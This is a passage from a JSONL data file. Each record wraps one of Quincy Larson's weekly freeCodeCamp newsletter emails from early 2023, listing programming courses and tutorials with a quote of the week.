learning. (15 minute read): https://www.freecodecamp.org/news/supercharged-studying-with-python-anki-chatgpt/\n\nQuote of the Week: *\"In a relatively short time we've taken a system built to resist destruction by nuclear weapons and made it vulnerable to toasters.\"* — Jeff Jarmoc, cybersecurity researcher, speaking of the World Wide Web and the Internet of Things", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740869"}
{"id": "gh_65470cd995b5", "question": "How to: Apr 21, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community just published a comprehensive project-based course on ChatGPT and the OpenAI API. This cutting-edge course will help you harness the power of Generative AI and Large Language Models. You'll learn from legendary programming teacher Ania Kubów. She'll walk you through building 5 projects that leverage OpenAI's APIs: a SQL query generator, a custom ChatGPT React app, a DALL-E image creator, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/chatgpt-course-use-the-openai-api-to-create-five-projects/\n\n2. And if you want to better understand the machine learning that powers AI tools like ChatGPT, this JavaScript Machine Learning course will most definitely be your jam. This \"No Black Box\" ML course is taught by Dr. Radu Mariescu-Istodor, one of the most popular computer science professors in the freeCodeCamp community. He'll show you how to build AI applications, implement classifiers, and explore data visualization – all without relying on libraries. This is a great way to grok what's really running under the hood of AI systems. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-machine-leaning-without-libraries-or-frameworks/\n\n3. Functional Programming is hard. But it comes up all the time in developer coding interviews. This advanced JavaScript course will teach you key FP concepts like lexical scope, time optimization, hoisting, callbacks, and closures. You'll also gain a deeper understanding of currying and its practical applications in JavaScript. (30 minute read): https://www.freecodecamp.org/news/prepare-for-your-javascript-interview/\n\n4. And if you really want to nail your coding interviews, take the advice of competitive programming world finalist Alberto Gonzalez. Instead of just memorizing the solutions to common interview questions, he recommends collaborating with your interviewer to talk through your coding assignment. He walks you through 3 mock interview questions, and gives you strategies for looking really smart while showcasing your problem-solving skills. (25 minute read): https://www.freecodecamp.org/news/collaborative-problem-solving-with-python/\n\n5. Unleash your inner game developer with this new Godot Game Engine course. This beginner-friendly tutorial will guide you through coding your own platformer game. You'll design your game's User Interface, enemies, and 2D background scenes. Along the way, you'll also learn skills like event scripting, animation, and camera movement. (25 minute read): https://www.freecodecamp.org/news/learn-godot-for-game-development/\n\nQuote of the Week: *\"Everything that civilisation has to offer is a product of human intelligence. We cannot predict what we might achieve when this intelligence is magnified by the tools that AI may provide, but the eradication of war, disease, and poverty would be high on anyone’s list. Success in creating AI would be the biggest event in human history. Unfortunately, it might also be the last.\"* — Stephen Hawking, Cosmologist, Theoretical Physicist, and my childhood hero", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740879"}
{"id": "gh_2d9898a0733e", "question": "How to: Apr 7, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new Front End Development course. You can code along at home and build your own game in raw HTML, CSS, and JavaScript. Then you'll learn how to refactor your game to make use of the Model-View-Controller design pattern. You'll then add TypeScript to improve the reliability of your code, and React to make your game more dynamic. This is an excellent project-oriented course for beginners. (10 hour YouTube course): https://www.freecodecamp.org/news/frontend-web-development-in-depth-project-tutorial/\n\n2. And if you want even more web development practice, here's another beginner's course. It will teach you how to build a personal website using a lot of contemporary tools, including Next.js, Tailwind CSS, TypeScript, and Sanity. Kapehe has taught a lot of courses with freeCodeCamp, and I think you'll dig her friendly teaching style. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-personal-website-with-next-js-13-sanity-io-tailwindcss-and-typescript/\n\n3. You may have heard the terms “Symmetric Encryption” and “Asymmetric Encryption”. But what do they mean? This primer will teach you about these concepts, and how they power both the SSL protocol and its successor, TLS. Encryption makes the World Wide Web go ‘round. (15 minute read): https://www.freecodecamp.org/news/encryption-explained-in-plain-english/\n\n4. And on the topic of encryption, it turns out that even something as basic as storing something safely on your computer requires quite a bit of applied mathematics. This tutorial on “encryption at rest” will walk you through some of the cryptography techniques developers use – including hashing and salting. Just thinking about those makes me hungry for some hash browns. (8 minute read): https://www.freecodecamp.org/news/encryption-at-rest/\n\n5. My friend Dhawal created this comprehensive list of 850 university courses that are freely available, which you can convert into college credit. There are a ton of different subjects to choose from, including Computer Science, Data Science, Math, and Information Security. (fully browsable list): https://www.freecodecamp.org/news/370-online-courses-with-real-college-credit-that-you-can-access-for-free-4fec5a28646/\n\nA quick note on GPT-4 and other Large Language Model (LLM) tools: I'm spending several hours each week practicing with these tools, and learning how to use them more effectively.\n\nI still do all my writing the old fashion way. But I'm finding LLMs to be helpful in a lot of other ways, including simplifying my code.\n\nQuote of the Week: *\"The more I study, the more insatiable do I feel my genius to be.\"* — Ada Lovelace, mathematician and the world's first computer programmer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740899"}
{"id": "gh_fb77a73e236e", "question": "How to: Mar 31, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The most dreaded part of the developer job search is the “coding interview”. This is where a software engineer asks you to solve programming challenges right there on the spot – often by writing code on a whiteboard.\n\nWell, freeCodeCamp has hundreds of hours of practice challenges to help prepare you for this. And even better – we just published a course taught by my friends Kylie and Keith, who are both experienced software engineers.\n\nThis “Mock Interview” will give you a much better idea of what a typical coding interview process is like. Kylie takes on the role of coding interview candidate, and answers Keith's questions about Object-Oriented Programming, Dynamic Programming, and more. (75-minute hour YouTube course): https://www.freecodecamp.org/news/real-world-coding-interview-for-software-engineering/\n\n2. Learn how to build a 3D animation that runs right inside a browser. You'll use React, WebGi, Three.js, and GSAP. You'll learn how to display 3D models on a website, animate them, and even optimize those 3D animations for mobile devices. Even though this may sound advanced, we made this course as beginner-accessible as possible. By the end of the course, you'll deploy your own 3D-animated website to the web. (2 hour YouTube course): https://www.freecodecamp.org/news/3d-react-webgi-threejs-course/\n\n3. Regular Expressions are a powerful – but notoriously tricky – programming tool. Luckily, ChatGPT is surprisingly good at creating these “RegEx” for you. In this course, freeCodeCamp instructor Ania Kubow will teach you how to build your very own RegEx-generating dashboard using the OpenAI API and Retool. (30-minute YouTube course): https://www.freecodecamp.org/news/use-chatgpt-to-build-a-regex-generator/\n\n4. When I first learned Git, I struggled a bit with the concepts of local repository, remote repository, and how to sync code changes between the two. But you don't have to struggle. Deborah Kurata has created this detailed Git tutorial that walks you through Git's key syncing features. She also included lots of short video demonstrations. If you're new to Git, this is a good place to start. (30 minute read): https://www.freecodecamp.org/news/create-and-sync-git-and-github-repositories/\n\n5. freeCodeCamp just rolled out a major update to our Android app. You can now complete coding challenges right on your phone, with our smooth mobile coding user experience. And yes – we are working on an iOS version of the mobile app for iPhone, too. (5 minute read): https://www.freecodecamp.org/news/freecodecamp-mobile-app-curriculum-update/\n\nQuote of the Week: *\"A lot of developers don’t realize that the interviewer is there to help you. It’s their job to bring out the best in you. You should always be working with your interviewer to show them your skills, and make sure you’re going down the right path. When they ask you a coding question, here’s what you should do: clarify the problem with them, articulate your plan, and then talk them through your code as you’re writing it.\"* — Alex Chiou, Software Engineer and founder of Taro", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740910"}
{"id": "gh_42c87ed14ff2", "question": "How to: Mar 24, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Legendary programming teacher and frequent freeCodeCamp contributor Tim Ruscica will teach you how to code your own Mario-style platformer game in Python. You can code along at home and learn how to implement pixel-perfect collision detection, fully-animated character sprites, jump physics, and even double jump physics. (Don't try this last one in real life.) This course will also teach you some PyGame basics, and how to incorporate adorable pixel art assets. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-platformer-game-with-python/\n\n2. Django is a popular web development framework for Python. And in this course, you'll learn how to use Django by coding your own Customer Relationship Management (CRM) system. Software Engineer John Elder will walk you through building this web app step-by-step. You'll also learn some Git, MySQL, and the Bootstrap CSS library. CRM tools can help with your client work, job searches, and everyday tasks like keeping track of friends' birthdays. By the end of this course, you'll have built your own tool that you can use long-term. (2 hour YouTube course): https://www.freecodecamp.org/news/crm-app-development-with-django-python-and-mysql/\n\n3. Linux is an incredibly powerful automation tool. And this tutorial will show you how to harness that power through the magical art of shell scripting. Zaira Hira is a developer at freeCodeCamp and a Linux superfan. She'll teach you Bash commands, data types, conditional logic, loops, cron jobs, and more. And yes, you can try all this without installing Linux on your computer. (30 minute read): https://www.freecodecamp.org/news/bash-scripting-tutorial-linux-shell-script-and-command-line-for-beginners/\n\n4. Please Excuse My Dear Aunt Sally. That's the sentence kids memorize in the US, so that they can remember the mathematical Order of Operations: Parenthesis, Exponents, Multiplication, Division, Addition, Subtraction. And JavaScript has something similar: Operator Precedence. This in-depth tutorial by Franklin Okolie will teach you about these JavaScript operators and more. Enjoy greatest hits like Modulus, Increment, and Decrement. If you take the time to learn these, you'll save yourself a ton of headache down the road when you're debugging your code. (25 minute read): https://www.freecodecamp.org/news/javascript-operators-and-operator-precedence/\n\n5. If you want to get into Data Analytics, I have good news. Jeremiah Oluseye is a data scientist, and he created this roadmap to guide you in your journey. You'll learn which tools to focus your time on, which math you should brush up on, and how to build your network in the data community. (25 minute read): https://www.freecodecamp.org/news/data-analytics-roadmap/\n\nA big thanks to all 8,289 of you all who are now supporting freeCodeCamp. If you aren't yet donating to our charity, I encourage you to get involved. You can join us in our mission to create open learning resources for everyone, everywhere on Earth: https://www.freecodecamp.org/donate\n\nQuote of the Week: *\"I think that in life, as in game design, you have to find the fun. There is joy out there waiting to be discovered, but it might not be where you expected.\n\nYou can’t decide what something’s going to be before you embark on it, and you shouldn’t stick with a bad idea just because you’re fond of it. Take action as quickly and repeatedly as possible. Take advantage of what you already know. And take liberties with tradition.\n\nBut most importantly, take the time to appreciate the possibilities, and make sure all of your decisions are interesting ones.\"* — Sid Meier, game developer and creator of the Civilization game series", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740922"}
{"id": "gh_0adee87d2033", "question": "How to: Mar 17, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. React is a powerful JavaScript library for coding web apps and mobile apps. This course will teach you the newest version of React – React 18 – along with the popular Redux Toolkit. This freeCodeCamp course is taught by legendary programming teacher John Smilga. You can code along at home as he teaches you all about Events, Props, Hooks, Data Flow, and more. (13 hour YouTube course): https://www.freecodecamp.org/news/learn-react-18-with-redux-toolkit/\n\n2. And if you just can't get enough React, my fellow black-framed glasses enthusiast Germán Cocca has got you covered. The Argentinian software engineer wrote a detailed tutorial that shows you several ways of building the same React app, using a rainbow of React tools including Gatsby, Astro, Vite, Next, and Remix. Prepare to expand your mind. (1 hour read): https://www.freecodecamp.org/news/how-to-build-a-react-app-different-ways/\n\n3. Ever wonder what it takes to land a Data Scientist role? No, you don't necessarily need a Ph.D. But you do need to be able to ace the technical interview. That's where my friends Kylie and Keith come in. They are both accomplished Data Scientists and prolific programming teachers. And they've designed this Data Science “Mock Interview” to give you a better idea of what this process will be like for you. (90-minute watch): https://www.freecodecamp.org/news/mock-data-science-job-interview/\n\n4. Flutter is a much-loved mobile app development framework. freeCodeCamp uses Flutter for our own Android app, and we swear by it. If you want to get into mobile development, Flutter is a great place to start, and this is a good first tutorial. You'll build your own mobile user experience using Flutter, Dart, and VS Code. (30 minute read): https://www.freecodecamp.org/news/how-to-build-a-simple-login-app-with-flutter/\n\n5. My friend Dhawal uncovered more than 1,700 Coursera courses that are still freely available. If you just want to learn, and don't care about claiming the certificates at the end, this is for you. There are a ton of math, software engineering, and design courses – many taught by prominent university professors. This should be plenty to keep you learning new concepts and expanding your skills. (fully browsable list): https://www.freecodecamp.org/news/coursera-free-online-courses-6d84cdb30da/\n\nQuote of the Week: *\"The reason an experienced engineer moves so much faster than a beginner is because they've opened most of the “doors” they encounter in code thousands of times before. They stop to think, but so much is done purely by recall. This is why you need to practice, practice, practice.\"* — Dan Abramov, JavaScript Developer and Creator of Redux", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740932"}
{"id": "gh_f0093e9fe689", "question": "How to: Mar 10, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community is proud to bring you this latest computer science course in our partnership with Harvard. You'll learn Web Development with Python and the popular Django framework. You'll start by learning some HTML, CSS, and Git. Then you'll learn about user interface design, testing, scalability, and security. I hope you are able to code along at home, expand your skills, and enjoy some top-notch teaching. (14 hour YouTube course): https://www.freecodecamp.org/news/learn-web-development-from-harvard-university-cs50/\n\n2. One of our most requested courses over the past few years: LaTeX – the powerful typesetting system used to design academic papers, scientific publications, and books. You'll learn these tools and concepts from Michelle Krummel. She has more than 20 years of teaching experience. You'll learn about mathematical notation, TexMaker, Overleaf, and the many packages available in the LaTeX ecosystem. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-latex-full-course/\n\n3. One of the most critical concepts you should understand about Git is Branching. We've got you covered. In this tutorial, Deborah Kurata will teach you how to create a local Git repository with a main branch, then branch off of it. She'll show you how to commit your code changes, then merge those files back into the main branch. This is what I like to call the \"core gameplay loop\" of software development. Enjoy. (40 minute read): https://www.freecodecamp.org/news/git-branching-commands-explained/\n\n4. You may have heard about REST APIs. But have you heard about its predecessor, SOAP? Or cutting edge GraphQL APIs? This tutorial by software engineer Germán Cocca will teach you about the Client-Server Model, and how each of these API paradigms work. At the end of the day, an API is just \"a set of defined rules that establishes how one application can communicate with another.\" By the end, you'll have a better appreciation for how all these computers around the world communicate with one another. (30 minute read): https://www.freecodecamp.org/news/rest-vs-graphql-apis/\n\n5. If you're a Linux enthusiast like I am, you may appreciate the sheer power Linux gives you. But only if you're willing to take the time to learn how to wield that power. The find command is one of those powerful tools. This tutorial will show you how to search through file systems by owner, type, permissions, recency, and even regex search. This is some SysAdmin-level stuff. And we'll keep these Linux tutorials coming. (10 minute read): https://www.freecodecamp.org/news/how-to-search-files-effectively-in-linux/\n\nQuote of the Week: *\"We build our computers the way we build our cities: over time, without a plan, on top of ruins.\"* — Ellen Ullman, Programmer and Author", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740942"}
{"id": "gh_d4d0f8d81517", "question": "How to: Mar 3, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. You may have heard about AIs that can beat the world's best Chess players, Go players, and even Starcraft players. Many of these AIs use a game-playing algorithm called AlphaZero. The AI starts out by playing a game against itself to learn the rules and discover strategies. After a few hours of training, it's often able to play the game at a superhuman level. This Python course will teach you how to code your own AlphaZero algorithm from scratch that can win at both Tic Tac Toe and Connect 4. You'll learn about Monte Carlo Tree Search, Neural Networks, and more. This is an ideal course for anyone who wants to learn more about Machine Learning. (4 hour YouTube course): https://www.freecodecamp.org/news/code-alphazero-machine-learning-algorithm/\n\n2. Security Researcher and freeCodeCamp contributor Sonya Moisset just made her Open Source Security Handbook freely available. If you're planning to open-source some of your code, this should be a helpful read. You'll learn about Static Analysis, Supply Chain Attacks, Secret Sprawl, and other s words. (full-length handbook): https://www.freecodecamp.org/news/oss-security-best-practices/\n\n3. Excel is a surprisingly powerful tool for doing data analysis. And you can get even more mileage out of Excel if you meld it with Python and the popular Pandas library. This tutorial will teach you how to merge spreadsheets, clean and filter them, and import them into datasets. You'll even learn how to turn spreadsheet data into Matplotlib data visualizations. (20 minute read): https://www.freecodecamp.org/news/automate-excel-tasks-with-python/\n\n4. If you're just starting your developer journey, you may hear a lot about APIs and how to use them in your projects. Well, this tutorial will give you a ton of examples of public APIs you can play around with. Weather APIs, News APIs, even an API to help you identify different breeds of dogs. This is a good place to get started. (16 minute read): https://www.freecodecamp.org/news/public-apis-for-developers/\n\n5. My friends Jess and Ramón have taught thousands of people how to code using the freeCodeCamp curriculum. And this week they're launching a new cohort program called the Bad Website Club. The pressure is off. Your website doesn't have to look perfect. You can instead just relax and enjoy the process of building websites with HTML, CSS, and JavaScript. Everything is freely available. You can join us at the launch party live stream on March 6. (5 minute read): https://www.freecodecamp.org/news/the-bad-website-club-and-more-free-bootcamps/\n\nQuote of the Week: *\"AlphaGo's way is not to make territory here or there, but to place every stone in a position where it will be most useful. This is the true theory of Go: not ‘what do I want to build?’, but rather ‘how can I use every stone to its full potential?’\"* — Professional Go player Fan Hui after losing 5 games to AlphaGo, an AlphaZero algorithm trained to play the ancient strategy game of Go", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740952"}
{"id": "gh_367ebfc943ca", "question": "How to: Feb 24, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. If you're new to Linux, this freeCodeCamp course is for you. You'll learn many of the tools used every day by both Linux SysAdmins and the millions of people running Linux distros like Ubuntu on their PCs. This course will teach you how to navigate Linux's Graphical User Interfaces and powerful command line tool ecosystem. freeCodeCamp instructor Beau Carnes worked with engineers at Linux Foundation to develop this course for you. (6 hour YouTube course): https://www.freecodecamp.org/news/introduction-to-linux\n\n2. And if you're more experienced at Linux, you may want to learn how to code your own commands for the Linux command line. This tutorial will teach you how Bash aliases work, and how they can save you time. The author also shares a table of more than 20 aliases that he uses in his day-to-day work as a developer. (18 minute read): https://www.freecodecamp.org/news/how-to-create-your-own-command-in-linux/\n\n3. HTML gives structure to apps and websites. In this beginner course, you'll learn HTML fundamentals. freeCodeCamp instructor Ania Kubów will be your guide to many key web development concepts. (2 hour YouTube course): https://www.freecodecamp.org/news/html-coding-introduction-course-for-beginners/\n\n4. SOLID Design Principles belong in your developer skill toolbox. They help you build codebases that will be easier to maintain and update without breaking things. This tutorial will introduce you to key concepts like the Single Responsibility Principle, the Open-Closed Principle, the Dependency Inversion Principle, and more. You'll even get some nice JavaScript code examples to illustrate these principles in action. (20 minute read): https://www.freecodecamp.org/news/solid-design-principles-in-software-development/\n\n5. More than 50 years ago, Pong kick-started the video game revolution. And today in 2023, you can code your own Pong game using Python and its built-in graphics library called Turtle. Turtle is even older than Pong. It was such a popular tool for teaching programming to kids in the 60s that Python imported it from an older language called Logo. This tutorial will teach you Python scripting and basic computer graphics concepts. (20 minute read): https://www.freecodecamp.org/news/how-to-code-pong-in-python/\n\nQuote of the Week: *\"Theory and practice sometimes clash. And when that happens, theory loses. Every single time.\"* ― Linus Torvalds, Creator of Linux", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740962"}
{"id": "gh_f211ba507787", "question": "How to: Feb 17, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. It's 2023 and not only can you play other people's video games – you can build games yourself. This freeCodeCamp GameDev course will teach you how to use JavaScript to code your own physics-based action game. You'll learn how to animate game sprites, implement collision detection, and program enemy AI. Along the way, you'll learn some CSS3, vanilla JavaScript, HTML Canvas, and other broadly useful open source tools. (3 hour YouTube course): https://www.freecodecamp.org/news/create-an-animated-physics-game-with-javascript/\n\n2. What's the simplest way to get started with Python web development? Well, many developers will recommend Flask. You can learn the basics of this light-weight web development framework in just a few hours of study. This Python Web Development course will teach you how to build and deploy a production-ready, database-driven Flask app. (4 hour YouTube course): https://www.freecodecamp.org/news/develop-database-driven-web-apps-with-python-flask-and-mysql/\n\n3. z-index is easily one of the most confusing properties in all of CSS. It controls how HTML elements appear on the page, and how close they are to your user's eyeballs. This beginner tutorial will teach you about \"Stacking Context.\" It will give you a solid mental model. Soon you too will understand how your browser's DOM renders elements on top of one another. (40 minute read): https://www.freecodecamp.org/news/z-index-property-and-stacking-order-css/\n\n4. What are URIs? What are HTTP Headers? How does DNS work? This HTTP Networking Handbook will teach you many of the fundamentals about how the web works, with lots of helpful illustrations. You can bookmark it to use it as a reference. And freeCodeCamp also published a 4-hour video course to accompany it if you want to go even deeper. (full-length book): https://www.freecodecamp.org/news/http-full-course/\n\n5. Learn Asynchronous Programming for beginners. This in-depth guide will teach you key async JavaScript concepts. You'll learn about the Call Stack, the Callback Queue, Promises, Threading, Async-Await, and more. If you want to take your computer science knowledge to the next level, this is well worth your time. (30 minute read): https://www.freecodecamp.org/news/asynchronism-in-javascript/\n\nQuote of the Week: *\"In physics, you don't have to go around making trouble for yourself. Nature does it for you.\"* — Frank Wilczek, Physicist, Professor, and Nobel Laureate", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740971"}
{"id": "gh_82a792dfa986", "question": "How to: Feb 10, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. When I was first learning to code, I had trouble understanding exactly what an API is. But I came to understand that, in its simplest form, an API is like a website. But instead of sending HTML to a browser or mobile app, an API sends data. Usually JSON data. This in-depth freeCodeCamp course is taught by experienced developer and instructor Craig Dennis. It will teach you how to code your own REST API – complete with server-side code, client-side data fetching, and more. (3 hour YouTube course): https://www.freecodecamp.org/news/apis-for-beginners/\n\n2. Remember those silly BuzzFeed personality quizzes? Like: \"What type of cheese are you?\" This course will teach you how to code your own BuzzFeed-style website using 3 different approaches: a vanilla JavaScript app, a React + JSON API app, and finally a TypeScript + Node.js mini-backend. This course is taught by long-time developer and freeCodeCamp instructor Ania Kubów. If you code along at home, I think you'll learn a ton from this course, and have a lot of fun along the way. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-how-to-code-a-buzzfeed-clone-in-three-ways/\n\n3. If you want to automate random tasks from your day-to-day life, Python is an excellent tool for the job. This tutorial will teach you how to write simple Python scripts that compress photos, turn text into speech, proof-read your messages, and more. (12 minute read): https://www.freecodecamp.org/news/python-automation-scripts/\n\n4. In my years as a developer, I've found that people greatly underestimate how powerful spreadsheets are for doing data analysis. You don't need to be a statistician to squeeze out meaningful insights from your spreadsheet. One of the most helpful spreadsheet functions is LOOKUP, and its descendants VLOOKUP, HLOOKUP, and XLOOKUP. This in-depth tutorial will show you how to wield these powerful functions to slice and dice data just the way you need it. (14 minute read + video): https://www.freecodecamp.org/news/lookup-functions-in-excel-google-sheets/\n\n5. Also, freeCodeCamp just published a massive Git & GitHub course in Spanish. (Over the years, we've published several Git courses in English, too.) If you have Spanish-speaking friends who want to learn software development, please tell them that we now have in-depth courses on a broad range of coding topics. These are all taught in Spanish by Estefania. She's an experienced teacher and software engineer. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-git-and-github-in-spanish-course-for-beginners\n\nQuote of the Week: *\"An API that isn’t comprehensible isn’t usable.\"* — James Gosling, Computer Scientist and Lead Developer of the Java Programming Language, on the importance of having easy-to-understand APIs", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740981"}
{"id": "gh_26caae981489", "question": "How to: Feb 3, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a fully-animated computer basics course. Even if you've been using computers for years, this course may be helpful for you. And it should definitely be helpful for any friends and family members who've never used a laptop or desktop before. This course covers computer hardware, how cloud computing works, security basics, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/computer-basics-beginners\n\n2. Hypertext Transfer Protocol (HTTP) is the foundation of data communication on the World Wide Web. And this in-depth course will teach you how this massive network of computers really works. You'll learn about Domain Name Systems, URL paths, security, and more. If you're interested in networks and back end development, this course should be well worth your time. (5 hour YouTube course): https://www.freecodecamp.org/news/http-networking-protocol-course/\n\n3. Django is a popular Python web development framework. If you want to build a sophisticated website, it may make sense to learn Django. Like Node.js, Django is used at scale – most notably powering Instagram's website and APIs. This course will teach you Django fundamentals. You'll code your own online marketplace while learning about core Django features. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-django-by-building-a-marketplace/\n\n4. If you want to go old school and never even touch your mouse when you're coding, you can use the Vim code editor. Vim comes built-in with many operating systems. It uses a sophisticated series of keyboard shortcuts for quick code edits. It can take years to get really good at Vim. But I know many developers who swear up and down that this is worth the time investment. If you want to take the plunge, this Vim Beginner's Guide is a great starting point. (20 minute read): https://www.freecodecamp.org/news/vim-beginners-guide/\n\n5. I started freeCodeCamp back in 2014. Since then, a ton of people have asked for my advice on how to learn to code and ultimately get freelance clients and developer jobs. So last year, I wrote an entire book summarizing my many tips. Even though one of the Big 5 book publishers in New York was interested in a book deal, I decided to instead make this book freely available to everyone who wants to become a professional developer. I hope it's helpful for you and your friends who are getting into coding. (full-length book – roughly 6 hour read): https://www.freecodecamp.org/news/learn-to-code-book/\n\nQuote of the Week: *\"To err is human. But to really foul things up you need a computer.\"* — Paul R. Ehrlich, biology professor at Stanford", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740991"}
{"id": "gh_f19022c489e7", "question": "How to: Jan 28, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published our own university-level course to help you learn Algebra using Python. If you have forgotten much of the Algebra you learned – or if you never really learned it well in the first place – this course is for you. In it, freeCodeCamp instructor Ed Pratowski will teach you how to use Python and Jupyter Notebook to do math. You'll learn all about Variables, Graphing, Cartesian Planes, Factoring, and more. Ed has been teaching math to university students for more than two decades. I think you'll find his teaching style to be clear and memorable. (15 hour YouTube course): https://www.freecodecamp.org/news/college-algebra-course-with-python-code/\n\n2. This course will teach you how to code your own fully-functional Reddit clone. Along the way, you'll learn some React, Firebase, Next.js, Chakra UI, and TypeScript. You'll code a lot of key business logic, including how to handle post deletion, community image customization, voting on posts, and more. (12 hour YouTube course): https://www.freecodecamp.org/news/code-a-reddit-clone-with-react-and-firebase/\n\n3. Wireshark is a powerful computer network analysis tool. You can use it to analyze and \"sniff\" packets of data. This tutorial will teach you how to use Wireshark to better understand networks. You'll also learn about the 5 Layers Model for networks. (20 minute read): https://www.freecodecamp.org/news/learn-wireshark-computer-networking/\n\n4. Pre-caching is where you prepare data in advance of serving it to your users. By using this technique, you can speed up the performance of your website or app. This tutorial will teach you key pre-caching concepts. You'll learn how to use pre-caching both on the client side – with browser-based caching – and on the server side – with CDNs. You'll learn the many tradeoffs and best practices involved in achieving fast page loads. (20 minute read): https://www.freecodecamp.org/news/a-detailed-guide-to-pre-caching/\n\n5. In the age of Netflix and League of Legends, there are plenty of things to keep you from achieving your goals. But don't let a lack of learning resources be one of them. My friend Dhawal compiled an in-depth guide to more than 850 Ivy League university courses that are now freely available online. One of the very best things about the internet: it has made it possible for anyone with an internet connection to learn from world-class professors. I hope some of these courses help you push forward toward your learning goals. (Fully-browsable list): https://www.freecodecamp.org/news/ivy-league-free-online-courses-a0d7ae675869/\n\nFact of the Week: As abstract as Algebra may seem, it was invented to solve the practical math problems of the 9th Century. Muhammad ibn Musa al-Khwarizmi was an astronomer in Baghdad. He wanted to figure out fair ways to distribute land, salaries, and inheritance.\n\nIn the process, he invented Algebra, which comes from the Arabic word al-jabr – roughly translating to \"reunion of broken parts.\" In his book \"The Compendious Book on Calculation by Completion and Balancing\" he described methods for reducing and then balancing equations – a task every student of math can now enjoy.\n\nAlso fun fact: the word Algorithm comes from a Latinization of al-Khwarizmi's name.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741002"}
